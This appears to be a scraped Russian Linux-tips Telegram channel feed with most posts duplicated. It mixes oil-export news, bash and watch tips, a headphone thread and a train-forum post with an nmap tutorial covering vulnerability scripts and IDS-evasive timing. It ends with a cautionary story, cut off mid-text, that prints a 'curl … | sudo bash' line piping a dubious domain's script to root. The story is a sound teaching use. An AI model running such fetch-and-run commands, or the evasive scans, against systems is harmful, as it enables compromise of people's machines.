Россия получила рекордную с начала СВО недельную выручку от экспорта нефти, Bloomberg
‼ 🇷🇺🛢 Россия получила рекордную с начала СВО недельную выручку от экспорта нефти, — Bloomberg
▪ За неделю по 27 сентября Россия экспортировала в среднем 3,99 млн баррелей нефти в сутки, а общая стоимость поставок достигла $2,75 млрд.
▪ Доходы выросли на фоне подорожания российской нефти примерно до $110–120 за баррель вслед за ростом цен на Brent.
▪ Дополнительным фактором стало увеличение экспорта сырой нефти из-за проблем с внутренней переработкой и ограничений на экспорт топлива.
⚠ Подписаться на RV: MAX | t.me/RVvoenkor
https://max.ru/RVvoenkor/AaDube7UfbU https://max.ru/RVvoenkor/AaDube7UfbU
Источник (2ch /news/): https://2ch.org/news/res/19860090.html
Подпишись на создателей: https://t.me/linuxexex
‼ 🇷🇺🛢 Россия получила рекордную с начала СВО недельную выручку от экспорта нефти, — Bloomberg
▪ За неделю по 27 сентября Россия экспортировала в среднем 3,99 млн баррелей нефти в сутки, а общая стоимость поставок достигла $2,75 млрд.
▪ Доходы выросли на фоне подорожания российской нефти примерно до $110–120 за баррель вслед за ростом цен на Brent.
▪ Дополнительным фактором стало увеличение экспорта сырой нефти из-за проблем с внутренней переработкой и ограничений на экспорт топлива.
⚠ Подписаться на RV: MAX | t.me/RVvoenkor
https://max.ru/RVvoenkor/AaDube7UfbU https://max.ru/RVvoenkor/AaDube7UfbU
Источник (2ch /news/): https://2ch.org/news/res/19860090.html
Подпишись на создателей: https://t.me/linuxexex
Telegram
Операция Z: Военкоры Русской Весны
Добровольцы, волонтеры и военкоры Русской Весны действуют в боевых порядках войск на Донбассе, Украине и САР, получая информацию из самых горячих точек.
РКН: clck.ru/3Fj3hJ
Связь: @rvvoenkor_bot
youtube.com/@rusvesna.su3499
РКН: clck.ru/3Fj3hJ
Связь: @rvvoenkor_bot
youtube.com/@rusvesna.su3499
CTRL+R — все знают. History — все знают. А вот это знают единицы.
В bash и zsh есть встроенный механизм, который называется parameter expansion с заменой. Выглядит страшно, работает как хирург.
Допустим, у тебя есть переменная:
filename="backup_2024_old.tar.gz"
Хочешь заменить "old" на "new" прямо внутри переменной, не вызывая sed, не запуская никакого процесса, без форка, без ничего:
echo ${filename/old/new}
Получаешь: backup_2024_new.tar.gz
Хочешь заменить ВСЕ вхождения, а не только первое:
echo ${filename//old/new}
Двойной слэш — и он прошёлся по всей строке как бульдозер.
Хочешь удалить подстроку вообще без замены:
echo ${filename/old/}
Просто пусто на месте. Ни sed, ни awk, ни python. Чистый встроенный shell.
Теперь следующий уровень. Обрезка по паттерну.
Есть путь:
path="/home/user/projects/myapp/main.c"
Хочешь только имя файла без директории:
echo ${path##*/}
Результат: main.c
Двойная решётка — жадное удаление с начала строки до последнего совпадения паттерна.
Одинарная решётка:
echo ${path#*/}
Удалит только до первого слэша. Получишь: home/user/projects/myapp/main.c
Аналогично с хвостом строки через % и %%.
Хочешь расширение файла:
echo ${path##*.}
Результат: c
Хочешь путь без расширения:
echo ${path%.*}
Результат: /home/user/projects/myapp/main
Вся эта магия работает в чистом bash и zsh без единого внешнего процесса. Когда у тебя в цикле миллион файлов, разница между встроенным parameter expansion и вызовом sed на каждой итерации — это разница между быстрым скриптом и скриптом, который ты убил через пять минут потому что он жрёт CPU как не в себя.
Большинство людей даже не открывают эту страницу мануала. Потому что man bash выглядит как документация к ядерному реактору и читать её в здравом уме невозможно. Но именно там, в разделе Parameter Expansion, зарыто то, что превращает говнопайп из пяти процессов в одну строчку без форков.
Учи это. Пиши быстрее. Не плоди процессы там, где shell справится сам.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
В bash и zsh есть встроенный механизм, который называется parameter expansion с заменой. Выглядит страшно, работает как хирург.
Допустим, у тебя есть переменная:
filename="backup_2024_old.tar.gz"
Хочешь заменить "old" на "new" прямо внутри переменной, не вызывая sed, не запуская никакого процесса, без форка, без ничего:
echo ${filename/old/new}
Получаешь: backup_2024_new.tar.gz
Хочешь заменить ВСЕ вхождения, а не только первое:
echo ${filename//old/new}
Двойной слэш — и он прошёлся по всей строке как бульдозер.
Хочешь удалить подстроку вообще без замены:
echo ${filename/old/}
Просто пусто на месте. Ни sed, ни awk, ни python. Чистый встроенный shell.
Теперь следующий уровень. Обрезка по паттерну.
Есть путь:
path="/home/user/projects/myapp/main.c"
Хочешь только имя файла без директории:
echo ${path##*/}
Результат: main.c
Двойная решётка — жадное удаление с начала строки до последнего совпадения паттерна.
Одинарная решётка:
echo ${path#*/}
Удалит только до первого слэша. Получишь: home/user/projects/myapp/main.c
Аналогично с хвостом строки через % и %%.
Хочешь расширение файла:
echo ${path##*.}
Результат: c
Хочешь путь без расширения:
echo ${path%.*}
Результат: /home/user/projects/myapp/main
Вся эта магия работает в чистом bash и zsh без единого внешнего процесса. Когда у тебя в цикле миллион файлов, разница между встроенным parameter expansion и вызовом sed на каждой итерации — это разница между быстрым скриптом и скриптом, который ты убил через пять минут потому что он жрёт CPU как не в себя.
Большинство людей даже не открывают эту страницу мануала. Потому что man bash выглядит как документация к ядерному реактору и читать её в здравом уме невозможно. Но именно там, в разделе Parameter Expansion, зарыто то, что превращает говнопайп из пяти процессов в одну строчку без форков.
Учи это. Пиши быстрее. Не плоди процессы там, где shell справится сам.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Наушникотред #76
Гайды по выбору наушников (в бесконечной доработке):
Полноразмерные: https://pastebin.com/rDnuzPuw https://pastebin.com/rDnuzPuw
Внутриканальные: https://pastebin.com/cgyRM2Gx https://pastebin.com/cgyRM2Gx
TWS: https://pastebin.com/2ckzkgRJ https://pastebin.com/2ckzkgRJ
ЦАП/Усилитель: https://pastebin.com/CASBDunz https://pastebin.com/CASBDunz
Не нашёл ответа в гайдах и обзорах? Тогда пиши
1. Сколько готов потратить
2. Источник звука (куда будешь втыкать)
3. Тип наушников: полноразмерные, накладные, затычки, проводные/беспроводные итд;
если полноразмерные, то укажи: открытые (плохая изоляция, более натуральный звук, меньше баса) или закрытые (больше баса и изоляция чтобы мамка не слышала)
4. Предпочитаемые особенности звучания или жанры музыки
Обзоры и рекомендации:
Обзоры от блогеров со squig.link, их очень много
https://rtings.com/headphones/reviews/best https://rtings.com/headphones/reviews/best - более-менее можно доверять оценке Neutral sound и Isolation касательно шумодава. Подборки проплачены или субъективны.
https://www.soundguys.com https://www.soundguys.com - в обзорах есть график АЧХ на B&K 5128, таргетная кривая, которой можно доверять. Оценки обзорщиков могут быть проплачены или субъективны.
https://www.youtube.com/@crin https://www.youtube.com/@crin - обзоры наушников с учётом ачх, не лишено субъективности
https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/ https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/
https://diyaudioheaven.wordpress.com https://diyaudioheaven.wordpress.com
https://reference-audio-analyzer.pro https://reference-audio-analyzer.pro
https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf - оче тухлый гайд
https://canpicker.com https://canpicker.com - оче тухлый рекоменд лист
Коррекция АЧХ:
Хочешь больше деталей/баса/воздуха/сцены или просто улучшить звук? Грамотная эквализация обычно способна дать это
https://peqdb.com/ https://peqdb.com/ - настройка под свой слух. Выбираешь в списке наушники, выбираешь режим AB slider, тянешь слайдер пока звук не станет лучше. В конце получаешь пресет. В меню шестеренки можно загрузить свою песню
https://rentry.org/IEM-EQ-Guide https://rentry.org/IEM-EQ-Guide - подробный гайд по ручной эквализации (нужен VPN)
https://autoeq.app/ https://autoeq.app/ - пресеты под твои наушники. По умолчанию эквализирует в кривую Harman. Есть предварительное прослушивание результата.
https://squig.link https://squig.link - Интерактивный браузер АЧХ + эквалайзер и тон генератор. Огромная база замеров. Качество замеров варьируется от ужасных до хороших.
https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets - авторские пресеты от oratory1990. Одни из самых точных и технически правильных замеров в общем доступе (за исключением пары косячных моделей)
https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ - сборник замеров на B&K 5128 без исходников. Графики можно вытащить через…
Источник (2ch /hw/): https://2ch.org/hw/res/7841054.html
Подпишись на создателей: https://t.me/linuxexex
Гайды по выбору наушников (в бесконечной доработке):
Полноразмерные: https://pastebin.com/rDnuzPuw https://pastebin.com/rDnuzPuw
Внутриканальные: https://pastebin.com/cgyRM2Gx https://pastebin.com/cgyRM2Gx
TWS: https://pastebin.com/2ckzkgRJ https://pastebin.com/2ckzkgRJ
ЦАП/Усилитель: https://pastebin.com/CASBDunz https://pastebin.com/CASBDunz
Не нашёл ответа в гайдах и обзорах? Тогда пиши
1. Сколько готов потратить
2. Источник звука (куда будешь втыкать)
3. Тип наушников: полноразмерные, накладные, затычки, проводные/беспроводные итд;
если полноразмерные, то укажи: открытые (плохая изоляция, более натуральный звук, меньше баса) или закрытые (больше баса и изоляция чтобы мамка не слышала)
4. Предпочитаемые особенности звучания или жанры музыки
Обзоры и рекомендации:
Обзоры от блогеров со squig.link, их очень много
https://rtings.com/headphones/reviews/best https://rtings.com/headphones/reviews/best - более-менее можно доверять оценке Neutral sound и Isolation касательно шумодава. Подборки проплачены или субъективны.
https://www.soundguys.com https://www.soundguys.com - в обзорах есть график АЧХ на B&K 5128, таргетная кривая, которой можно доверять. Оценки обзорщиков могут быть проплачены или субъективны.
https://www.youtube.com/@crin https://www.youtube.com/@crin - обзоры наушников с учётом ачх, не лишено субъективности
https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/ https://www.audiosciencereview.com/forum/index.php?forums/headphone-reviews-and-discussions.58/
https://diyaudioheaven.wordpress.com https://diyaudioheaven.wordpress.com
https://reference-audio-analyzer.pro https://reference-audio-analyzer.pro
https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf https://www.dropbox.com/s/ke1urtaqi3j0jvj/1.pdf - оче тухлый гайд
https://canpicker.com https://canpicker.com - оче тухлый рекоменд лист
Коррекция АЧХ:
Хочешь больше деталей/баса/воздуха/сцены или просто улучшить звук? Грамотная эквализация обычно способна дать это
https://peqdb.com/ https://peqdb.com/ - настройка под свой слух. Выбираешь в списке наушники, выбираешь режим AB slider, тянешь слайдер пока звук не станет лучше. В конце получаешь пресет. В меню шестеренки можно загрузить свою песню
https://rentry.org/IEM-EQ-Guide https://rentry.org/IEM-EQ-Guide - подробный гайд по ручной эквализации (нужен VPN)
https://autoeq.app/ https://autoeq.app/ - пресеты под твои наушники. По умолчанию эквализирует в кривую Harman. Есть предварительное прослушивание результата.
https://squig.link https://squig.link - Интерактивный браузер АЧХ + эквалайзер и тон генератор. Огромная база замеров. Качество замеров варьируется от ужасных до хороших.
https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets https://www.reddit.com/r/oratory1990/wiki/index/list_of_presets - авторские пресеты от oratory1990. Одни из самых точных и технически правильных замеров в общем доступе (за исключением пары косячных моделей)
https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ https://www.reddit.com/r/headphones/comments/1780005/bk_5128_graph_database/ - сборник замеров на B&K 5128 без исходников. Графики можно вытащить через…
Источник (2ch /hw/): https://2ch.org/hw/res/7841054.html
Подпишись на создателей: https://t.me/linuxexex
Pastebin
Полноразмерные наушники - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
watch
Вот команда, о которой большинство линуксоидов либо не знают, либо забывают нахрен после первого прочтения мануала. А зря.
watch запускает любую другую команду повторно с заданным интервалом и отображает вывод в терминале в реальном времени. Вот и всё. Просто, как табуретка, но убойно полезно.
Допустим, ты хочешь смотреть, как растёт файл:
watch -n 1 du -sh /var/log/syslog
Каждую секунду он будет обновлять вывод du прямо в терминале. Никакого тебе скрипта, никакого цикла while, никакой возни.
Или следишь за сетевыми подключениями:
watch -n 2 ss -tnp
Или мониторишь, сколько процессов жрёт память:
watch -n 3 'ps aux --sort=-%mem | head -10'
Параметр -n задаёт интервал в секундах. По умолчанию 2 секунды, можно поставить дробное: -n 0.5 и он будет долбить команду дважды в секунду.
Флаг -d подсвечивает изменения между итерациями. Реально удобно, когда смотришь на вывод, который меняется частично и глаза устают искать, что именно поменялось.
watch -d -n 1 netstat -i
Флаг -t убирает шапку с временем и названием команды, если хочешь чистый вывод.
Почему про неё забывают? Потому что когда новичок видит задачу "смотреть за чем-то в реальном времени", он лезет писать while true; do...; sleep 1; done в скрипт. Это работает, но это колхоз. watch делает то же самое, чище, с подсветкой изменений и без написания ни строчки скрипта.
Единственный реальный минус: watch не умеет нормально работать с командами, которые сами перерисовывают экран, типа top или htop. Но для всего статичного вывода это незаменимая штука.
Сохрани себе, пригодится в самый неожиданный момент, когда надо будет смотреть на что-то и не хочется писать портянку кода.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Вот команда, о которой большинство линуксоидов либо не знают, либо забывают нахрен после первого прочтения мануала. А зря.
watch запускает любую другую команду повторно с заданным интервалом и отображает вывод в терминале в реальном времени. Вот и всё. Просто, как табуретка, но убойно полезно.
Допустим, ты хочешь смотреть, как растёт файл:
watch -n 1 du -sh /var/log/syslog
Каждую секунду он будет обновлять вывод du прямо в терминале. Никакого тебе скрипта, никакого цикла while, никакой возни.
Или следишь за сетевыми подключениями:
watch -n 2 ss -tnp
Или мониторишь, сколько процессов жрёт память:
watch -n 3 'ps aux --sort=-%mem | head -10'
Параметр -n задаёт интервал в секундах. По умолчанию 2 секунды, можно поставить дробное: -n 0.5 и он будет долбить команду дважды в секунду.
Флаг -d подсвечивает изменения между итерациями. Реально удобно, когда смотришь на вывод, который меняется частично и глаза устают искать, что именно поменялось.
watch -d -n 1 netstat -i
Флаг -t убирает шапку с временем и названием команды, если хочешь чистый вывод.
Почему про неё забывают? Потому что когда новичок видит задачу "смотреть за чем-то в реальном времени", он лезет писать while true; do...; sleep 1; done в скрипт. Это работает, но это колхоз. watch делает то же самое, чище, с подсветкой изменений и без написания ни строчки скрипта.
Единственный реальный минус: watch не умеет нормально работать с командами, которые сами перерисовывают экран, типа top или htop. Но для всего статичного вывода это незаменимая штука.
Сохрани себе, пригодится в самый неожиданный момент, когда надо будет смотреть на что-то и не хочется писать портянку кода.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
watch
Вот эта маленькая сволочь делает одну вещь, но делает её идеально: запускает любую команду снова и снова и показывает вывод в реальном времени прямо в терминале.
watch df -h
И теперь ты видишь, как заполняется диск, каждые две секунды, не запуская команду вручную сто раз подряд.
Хочешь обновлять чаще? Пожалуйста.
watch -n 0.5 free -m
Каждые полсекунды. Живой мониторинг памяти без htop, без скриптов, без лишнего дерьма.
Хочешь, чтобы оно орало, когда что-то изменилось? Флаг -d подсвечивает изменившиеся значения прямо на экране. Тупо и гениально одновременно.
watch -d -n 1 'ls -lh /var/log/syslog'
Смотришь, растёт файл или нет, без tail, без inotify, без плясок с бубном.
Где это реально спасает:
Мониторишь репликацию в базе и не хочешь долбить Enter каждые две секунды. Следишь за температурой железа через sensors. Ждёшь, когда процесс наконец сдохнет и отпустит порт. Деплоишь что-то и смотришь, как поднимаются контейнеры.
Большинство людей либо не знают про watch, либо знают, но забывают. А потом пишут цикл while true; do... done прямо в шелле, как будто 2003 год на дворе.
Не надо так. Используй нормальные инструменты.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Вот эта маленькая сволочь делает одну вещь, но делает её идеально: запускает любую команду снова и снова и показывает вывод в реальном времени прямо в терминале.
watch df -h
И теперь ты видишь, как заполняется диск, каждые две секунды, не запуская команду вручную сто раз подряд.
Хочешь обновлять чаще? Пожалуйста.
watch -n 0.5 free -m
Каждые полсекунды. Живой мониторинг памяти без htop, без скриптов, без лишнего дерьма.
Хочешь, чтобы оно орало, когда что-то изменилось? Флаг -d подсвечивает изменившиеся значения прямо на экране. Тупо и гениально одновременно.
watch -d -n 1 'ls -lh /var/log/syslog'
Смотришь, растёт файл или нет, без tail, без inotify, без плясок с бубном.
Где это реально спасает:
Мониторишь репликацию в базе и не хочешь долбить Enter каждые две секунды. Следишь за температурой железа через sensors. Ждёшь, когда процесс наконец сдохнет и отпустит порт. Деплоишь что-то и смотришь, как поднимаются контейнеры.
Большинство людей либо не знают про watch, либо знают, но забывают. А потом пишут цикл while true; do... done прямо в шелле, как будто 2003 год на дворе.
Не надо так. Используй нормальные инструменты.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Почему двухэтажные вагоны вышли из моды?
Серьёзно, что случилось? Раньше это было охуенно: едешь на верхнем уровне, видишь всё вокруг, чувствуешь себя королём дороги. И пассажировместимость выше, и ездить интереснее. Но потом всё как отрезало. Почему двухэтажные вагоны просто... исчезли с большинства маршрутов?
Вот что реально бесит: транспортные компании годами ныли про нехватку мест, про перегруженность, про то, что нужно больше вагонов. И при этом отказались от формата, который буквально удваивает полезную площадь без увеличения длины состава. Логика где?
Версии, которые я слышал:
Проблемы с посадкой и высадкой. Двухэтажный вагон дольше стоит на станции, потому что людям надо спуститься по лестнице. На маршрутах с частыми остановками это реально замедляет весь график.
Высота тоннелей и мостов. Во многих старых городах инфраструктура просто не рассчитана на высокие вагоны. Перестраивать всё это стоит диких денег.
Обслуживание. Двухэтажный вагон конструктивно сложнее, дороже в ремонте, тяжелее. Это жрёт бюджет.
Доступность. С инвалидными колясками и детскими колясками двухэтажный формат это отдельный ад. Современные требования к доступности фактически убивают концепцию.
Но всё равно обидно. В той же Франции двухэтажные TGV до сих пор работают и никуда не делись. Швейцария, Австралия гоняют двухэтажные электрички. Почему у одних получается, а у других нет?
Или это просто очередной случай, когда транспортные чиновники приняли идиотское решение, потому что так проще, а не потому что так лучше? Потому что низкопольный одноэтажный вагон проще сертифицировать под новые нормы, и всем плевать, что ты теряешь половину вместимости?
Хотелось бы услышать, у кого есть реальные данные по этой теме, а не просто ощущения.
Источник (4chan /n/): https://boards.4chan.org/n/thread/2069068
Подпишись на создателей: https://t.me/linuxexex
Серьёзно, что случилось? Раньше это было охуенно: едешь на верхнем уровне, видишь всё вокруг, чувствуешь себя королём дороги. И пассажировместимость выше, и ездить интереснее. Но потом всё как отрезало. Почему двухэтажные вагоны просто... исчезли с большинства маршрутов?
Вот что реально бесит: транспортные компании годами ныли про нехватку мест, про перегруженность, про то, что нужно больше вагонов. И при этом отказались от формата, который буквально удваивает полезную площадь без увеличения длины состава. Логика где?
Версии, которые я слышал:
Проблемы с посадкой и высадкой. Двухэтажный вагон дольше стоит на станции, потому что людям надо спуститься по лестнице. На маршрутах с частыми остановками это реально замедляет весь график.
Высота тоннелей и мостов. Во многих старых городах инфраструктура просто не рассчитана на высокие вагоны. Перестраивать всё это стоит диких денег.
Обслуживание. Двухэтажный вагон конструктивно сложнее, дороже в ремонте, тяжелее. Это жрёт бюджет.
Доступность. С инвалидными колясками и детскими колясками двухэтажный формат это отдельный ад. Современные требования к доступности фактически убивают концепцию.
Но всё равно обидно. В той же Франции двухэтажные TGV до сих пор работают и никуда не делись. Швейцария, Австралия гоняют двухэтажные электрички. Почему у одних получается, а у других нет?
Или это просто очередной случай, когда транспортные чиновники приняли идиотское решение, потому что так проще, а не потому что так лучше? Потому что низкопольный одноэтажный вагон проще сертифицировать под новые нормы, и всем плевать, что ты теряешь половину вместимости?
Хотелось бы услышать, у кого есть реальные данные по этой теме, а не просто ощущения.
Источник (4chan /n/): https://boards.4chan.org/n/thread/2069068
Подпишись на создателей: https://t.me/linuxexex
boards.4chan.org
/n/ - Why did bi-level vehicles go out of style? - Transportation - 4chan
Why did bi-level vehicles go out of style? - "/n/ - Transportation" is 4chan's imageboard for discussing modes of transportation like trains and bicycles.
nmap — швейцарский нож, который ты, скорее всего, ставил и забыл
Установил, запустил nmap 192.168.1.1, увидел пару открытых портов, решил что ты хакер, закрыл терминал. Знакомо? Тогда давай разберёмся, что эта штука реально умеет.
Базовый скан — это для разминки
nmap 192.168.1.1 — сканирует 1000 самых популярных портов. Быстро, грубо, без изысков. Хочешь все 65535 портов? Добавь -p- и жди немного дольше.
nmap -p- 192.168.1.1
Хочешь конкретные порты? Без проблем:
nmap -p 22,80,443,8080 192.168.1.1
Узнай что там за сервис и какой версии
Открытый порт — это полдела. Важно понять, что на нём висит и в каком состоянии. Флаг -sV вытащит версии сервисов:
nmap -sV 192.168.1.1
Теперь ты знаешь, что на 22-м висит OpenSSH 8.9, а не просто "что-то". Это уже информация.
Операционная система — угадай меня если сможешь
nmap -O 192.168.1.1
Нужны права root/sudo. nmap пытается определить ОС по особенностям TCP/IP стека. Не всегда точно, но часто достаточно.
Всё и сразу — режим агрессора
Флаг -A включает определение ОС, версий сервисов, трассировку и скрипты. Для ленивых и нетерпеливых:
nmap -A 192.168.1.1
Шумно как слон в посудной лавке, зато информативно.
Скрипты — вот где начинается настоящее веселье
У nmap есть NSE — Nmap Scripting Engine. Это библиотека скриптов для всего подряд: от поиска уязвимостей до брутфорса.
Проверить уязвимости через скрипты:
nmap --script vuln 192.168.1.1
Найти все хосты в сети:
nmap -sn 192.168.1.0/24
Это пинг-скан, без сканирования портов. Просто показывает кто живой в подсети.
Проверить конкретную уязвимость, например SMB:
nmap --script smb-vuln-ms17-010 192.168.1.1
Это тот самый EternalBlue, которым WannaCry гулял по миру. Проверяй свои машины, пока кто-то другой не проверил за тебя.
Скорость и скрытность
По умолчанию nmap работает на уровне T3. Хочешь быстрее:
nmap -T4 192.168.1.1
Хочешь медленнее и тише, чтобы не светиться в логах IDS:
nmap -T1 192.168.1.1
Будет сканировать долго, но менее заметно.
SYN-скан — полуоткрытый и почти незаметный
nmap -sS 192.168.1.1
Отправляет SYN, получает SYN-ACK, не завершает рукопожатие. Быстро, меньше следов в логах. Нужен root.
UDP — про него все забывают
nmap -sU 192.168.1.1
UDP медленный и нудный, но DNS, SNMP, DHCP и куча другого полезного сидит именно там. Не игнорируй.
Сохранить результаты
nmap -oN результат.txt 192.168.1.1
Или в XML для последующего парсинга:
nmap -oX результат.xml 192.168.1.1
Важное и очевидное
Сканируй только то, на что у тебя есть разрешение. Сканирование чужих сетей без спроса — это не хакерство, это административное или уголовное дело в зависимости от страны и настроения пострадавшего. Своя лаборатория, виртуалки, CTF, пентест с письменным разрешением — вот твоя площадка.
nmap не сложный. Он просто большой. Читай man nmap, там реально есть всё.
Подпишись на создателей: https://t.me/linuxexex
Установил, запустил nmap 192.168.1.1, увидел пару открытых портов, решил что ты хакер, закрыл терминал. Знакомо? Тогда давай разберёмся, что эта штука реально умеет.
Базовый скан — это для разминки
nmap 192.168.1.1 — сканирует 1000 самых популярных портов. Быстро, грубо, без изысков. Хочешь все 65535 портов? Добавь -p- и жди немного дольше.
nmap -p- 192.168.1.1
Хочешь конкретные порты? Без проблем:
nmap -p 22,80,443,8080 192.168.1.1
Узнай что там за сервис и какой версии
Открытый порт — это полдела. Важно понять, что на нём висит и в каком состоянии. Флаг -sV вытащит версии сервисов:
nmap -sV 192.168.1.1
Теперь ты знаешь, что на 22-м висит OpenSSH 8.9, а не просто "что-то". Это уже информация.
Операционная система — угадай меня если сможешь
nmap -O 192.168.1.1
Нужны права root/sudo. nmap пытается определить ОС по особенностям TCP/IP стека. Не всегда точно, но часто достаточно.
Всё и сразу — режим агрессора
Флаг -A включает определение ОС, версий сервисов, трассировку и скрипты. Для ленивых и нетерпеливых:
nmap -A 192.168.1.1
Шумно как слон в посудной лавке, зато информативно.
Скрипты — вот где начинается настоящее веселье
У nmap есть NSE — Nmap Scripting Engine. Это библиотека скриптов для всего подряд: от поиска уязвимостей до брутфорса.
Проверить уязвимости через скрипты:
nmap --script vuln 192.168.1.1
Найти все хосты в сети:
nmap -sn 192.168.1.0/24
Это пинг-скан, без сканирования портов. Просто показывает кто живой в подсети.
Проверить конкретную уязвимость, например SMB:
nmap --script smb-vuln-ms17-010 192.168.1.1
Это тот самый EternalBlue, которым WannaCry гулял по миру. Проверяй свои машины, пока кто-то другой не проверил за тебя.
Скорость и скрытность
По умолчанию nmap работает на уровне T3. Хочешь быстрее:
nmap -T4 192.168.1.1
Хочешь медленнее и тише, чтобы не светиться в логах IDS:
nmap -T1 192.168.1.1
Будет сканировать долго, но менее заметно.
SYN-скан — полуоткрытый и почти незаметный
nmap -sS 192.168.1.1
Отправляет SYN, получает SYN-ACK, не завершает рукопожатие. Быстро, меньше следов в логах. Нужен root.
UDP — про него все забывают
nmap -sU 192.168.1.1
UDP медленный и нудный, но DNS, SNMP, DHCP и куча другого полезного сидит именно там. Не игнорируй.
Сохранить результаты
nmap -oN результат.txt 192.168.1.1
Или в XML для последующего парсинга:
nmap -oX результат.xml 192.168.1.1
Важное и очевидное
Сканируй только то, на что у тебя есть разрешение. Сканирование чужих сетей без спроса — это не хакерство, это административное или уголовное дело в зависимости от страны и настроения пострадавшего. Своя лаборатория, виртуалки, CTF, пентест с письменным разрешением — вот твоя площадка.
nmap не сложный. Он просто большой. Читай man nmap, там реально есть всё.
Подпишись на создателей: https://t.me/linuxexex
Совет по безопасности для тех, кто сидит на линуксе и думает, что неуязвим.
Слушай сюда, умник. "У меня линукс, мне вирусы не страшны" — это не мудрость, это диагноз. Именно с такой самоуверенностью люди и получают по голове.
Вот реальный совет, который стоит вбить в черепушку раз и навсегда.
Не запускай всякое дерьмо с правами рута. Серьёзно. Нашёл на гитхабе скрипт с пятью звёздами и сразу: sudo bash install.sh? Поздравляю, ты только что дал незнакомому коду полный доступ к своей системе. Пять звёзд на гитхабе — это не сертификат безопасности, это просто пять людей, которые тоже не читали код.
Читай скрипт перед запуском. Всегда. Даже если он длинный и скучный. Особенно если он длинный и скучный. Там может быть что угодно: от майнера до бэкдора, завёрнутого в пять слоёв base64.
Не ставь левые репозитории без понимания, что ты делаешь. Добавил какой-то PPA или третий репо, система втянула оттуда пакет, который перезаписал нужную библиотеку — и привет, у тебя теперь не сервер, а чужой дом. С чужим хозяином.
Обновляй систему. Звучит банально, но половина взломов происходит через дыры, которые закрыты уже месяц как. Просто лень было апдейт запустить.
Настрой firewall. Да, ufw в две команды, не надо быть богом сетей. Но хоть что-то между тобой и интернетом должно стоять.
И последнее: линукс даёт тебе инструменты для безопасности, а не саму безопасность. Разница огромная. Топор в руках — это инструмент. Безопасность зависит от того, кто держит топор и насколько он вменяемый.
Так что не расслабляй булки только потому что у тебя не винда.
Подпишись на создателей: https://t.me/linuxexex
Слушай сюда, умник. "У меня линукс, мне вирусы не страшны" — это не мудрость, это диагноз. Именно с такой самоуверенностью люди и получают по голове.
Вот реальный совет, который стоит вбить в черепушку раз и навсегда.
Не запускай всякое дерьмо с правами рута. Серьёзно. Нашёл на гитхабе скрипт с пятью звёздами и сразу: sudo bash install.sh? Поздравляю, ты только что дал незнакомому коду полный доступ к своей системе. Пять звёзд на гитхабе — это не сертификат безопасности, это просто пять людей, которые тоже не читали код.
Читай скрипт перед запуском. Всегда. Даже если он длинный и скучный. Особенно если он длинный и скучный. Там может быть что угодно: от майнера до бэкдора, завёрнутого в пять слоёв base64.
Не ставь левые репозитории без понимания, что ты делаешь. Добавил какой-то PPA или третий репо, система втянула оттуда пакет, который перезаписал нужную библиотеку — и привет, у тебя теперь не сервер, а чужой дом. С чужим хозяином.
Обновляй систему. Звучит банально, но половина взломов происходит через дыры, которые закрыты уже месяц как. Просто лень было апдейт запустить.
Настрой firewall. Да, ufw в две команды, не надо быть богом сетей. Но хоть что-то между тобой и интернетом должно стоять.
И последнее: линукс даёт тебе инструменты для безопасности, а не саму безопасность. Разница огромная. Топор в руках — это инструмент. Безопасность зависит от того, кто держит топор и насколько он вменяемый.
Так что не расслабляй булки только потому что у тебя не винда.
Подпишись на создателей: https://t.me/linuxexex
Кирилл нашёл скрипт в час ночи.
Пять звёзд на гитхабе, форк от какого-то немца, описание на трёх языках сразу. Скрипт якобы автоматически настраивал окружение для разработки: питон, докер, нужные либы. Красота.
Кирилл был не идиотом. Он три года сидел на арче, знал разницу между chmod и chown, и однажды даже объяснял маме, что такое терминал. Поэтому он, конечно же, сделал единственное логичное: скопировал команду из ридми и влепил в консоль.
curl -sSL https://somerandombullshit.io/setup.sh | sudo bash
Энтер.
Скрипт побежал весело и быстро. Кирилл налил чай.
Через двадцать минут он заметил, что вентилятор ноутбука орёт как реактивный двигатель. Открыл htop. Там висел процесс с именем, похожим на системный, но чуть-чуть не таким. Один символ. Точка вместо тире.
Кирилл сидел и смотрел на экран. Потом в окно. Потом снова на экран.
Процессор грузился под девяносто процентов. Куда-то шёл трафик. Постоянно.
Он не паниковал. Он был взрослый, спокойный человек с тремя годами на арче. Поэтому он просто сидел и тихо говорил себе: вот это пиздец, вот это реально пиздец, Кирюша.
Скрипт был длинный. Там было три экрана легитимного кода и одна строчка в середине, завёрнутая в base64, которая разворачивалась в ещё одну строчку, которая тянула бинарник с левого домена, зарегистрированного неделю назад. Он бы это увидел, если бы читал. Три минуты чтения. Он потратил сорок секунд на копирование и три года на самоуверенность.
Кирилл откатился из бэкапа. Бэкап был. Это его и спасло.
Потом он сидел с чаем, уже холодным, и смотрел в чистую систему. Открыл терминал. Написал cat install.sh. Прочитал. Это было скучно и длинно и местами непонятно.
Но он прочитал.
Потому что линукс дал ему инструменты. А голова теперь должна была догнать.
Пять звёзд на гитхабе, форк от какого-то немца, описание на трёх языках сразу. Скрипт якобы автоматически настраивал окружение для разработки: питон, докер, нужные либы. Красота.
Кирилл был не идиотом. Он три года сидел на арче, знал разницу между chmod и chown, и однажды даже объяснял маме, что такое терминал. Поэтому он, конечно же, сделал единственное логичное: скопировал команду из ридми и влепил в консоль.
curl -sSL https://somerandombullshit.io/setup.sh | sudo bash
Энтер.
Скрипт побежал весело и быстро. Кирилл налил чай.
